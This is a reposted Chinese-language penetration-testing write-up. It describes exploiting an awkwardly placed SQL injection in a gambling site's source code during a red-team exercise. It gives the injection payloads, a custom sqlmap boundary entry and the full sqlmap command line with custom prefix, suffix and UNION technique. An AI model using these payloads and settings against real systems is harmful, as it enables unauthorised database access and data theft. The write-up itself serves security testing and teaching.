记一次基于Union的sqlmap自定义payload

举报
亿人安全 发表于 2024/09/30 17:16:28 2024/09/30
【摘要】 原文首发在:奇安信攻防社区作者:echoa   https://forum.butian.net/share/3708https://forum.butian.net/share/3743hw期间某晚上10点,某知名小朋友审计了一套bc源码,有sql注入,注入的位置比较刁钻,sqlmap无法识别,不能取证注入场景pay.php?id=pay`+/*_*/where+false 注入error...

原文首发在:奇安信攻防社区

作者:echoa   https://forum.butian.net/share/3708


https://forum.butian.net/share/3743

hw期间某晚上10点,某知名小朋友审计了一套bc源码,有sql注入,注入的位置比较刁钻,sqlmap无法识别,不能取证

注入场景
pay.php?id=pay`+/*_*/where+false 注入error 
pay.php?id=pay`+/*_*/where+false# 注入正常

图片

图片

sqlmap无法识别

图片

注入位置比较刁钻,小朋友说得保留

pay`+/*_*/where+false

字段才可控,

在网上搜了一圈,没有找到基于union的自定义查询,于是下了些功夫,研究了sqlmap的union注入流程

union注入流程

union联合查询,用于合并左右两侧select语句的结果,得要求两侧select的列数相同,两侧select列数不同发生error,那注入就失败;因此 union注入必须得先进行order by的判断确定列数,后续才能拼接子查询测试。

图片

图片
所以,站点union注入失败的原因在于order by测试没命中

图片

sqlmap测试union注入的文件在data\xml\payloads\union_query.xml 根据发包提示信息和order by相关的是"Generic UNION query"模板

图片

网上转了一圈,参考报错注入和时间注入的修改request和response两处标签,通过正则等方式去匹配命中,发现无法过编译, 后续测试,union_query.xml的标签[vector]、[request]、[response]不可控,(修改后测试流程依旧没变化)。

猜测可能和子语句测试有关,站在sqlmap的视角,他肯定是无法识别当前子语句注入方式的,比如位置是在where后可控还是order by后可控,或者是逻辑符可控,比如例示列名 (SELECT * FROM users ORDER BY column_name)等,得构造某特定的类型才能识别,自定义类型,跟进到xml/payloads/boundaries.xml

自定义payload

boundaries文件几处属性是控制自定义字符的,preffix和suffix,把这里的preffix改为站点的自定义字段

图片
然后得考虑该字段如何去和union模板里的test组合问题,网上转了一圈,当boundaries的clause和where属性值包含union模板的clause、where两个属性值即会匹配组合

clause取值为1-9,联合查询有关的子查询有 where、order by,取值为1,3
图片

where取值为1-3,where标签,用来确定整体注入payload的插入位置,比如第一个注入参数,取值为1,第二个注入参数,取值为2,这里就默认为1

图片

<boundary>
    <level>1</level>
    <clause>1,2</clause>
    <where>1</where>
    <ptype>1</ptype>
    <prefix>pay`+/*_*/where+false</prefix>
    <suffix>#</suffix>
</boundary>

观察union模板的"Generic UNION query" where、clause标签是否能匹配

图片

没啥问题,发包测试

测试问题

再测试已经能识别到自定义的payload了,但探测的深度很有限,order by的注入得取两个值,一大一小来确定字段,从发包payload来看只发了order by 1

图片
把流量挂到burp看看,代理后,再次发包

图片

pay`+/*_*/where+false order by 1#
pay`+/*_*/where+false order by 4839#

这里命中了,但没识别出order by的注入

编码问题

在这折腾了好久,觉得是sqlmap的版本原因,下载了最新的版本,再次发包,再测试发现order by 4839#这部分包又不测试了,觉得是代理的问题,于是换了socks发现也一样,后续发现报文出问题了
图片

sqlmap报文编码导致自定义的字符失效了,被编码了%2B%2F%2A_%2A%2F

burp做个发包替换,

%2B%2F%2A_%2A%2F->pay`+/*_*/where
识别注入

识别成功,order by

图片

后续的流程就很简单了,识别到order by 判断列数,union子查询拼接case条件从句

图片

图片
取证完成

图片

扩展思路
自定义前后缀

后续发现一种更便捷的方式,不用修改boundary,自定义前后缀,在sqlmap发包的时候提供

preffix="pay`+/*_*/where"
suffix="#"
technique=U

这样发包会更精准,由于提供了前缀,sqlma后续不会从boundary取注入符,会调用默认的clause和where去匹配union_query.xml里的test模板,免去了其他符号的测试

完整参数

图片

--proxy=https://127.0.0.1:8080 --prefix=pay`+/*_*/where+false --suffix=# -v 3 --technique U

map自定义p

【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。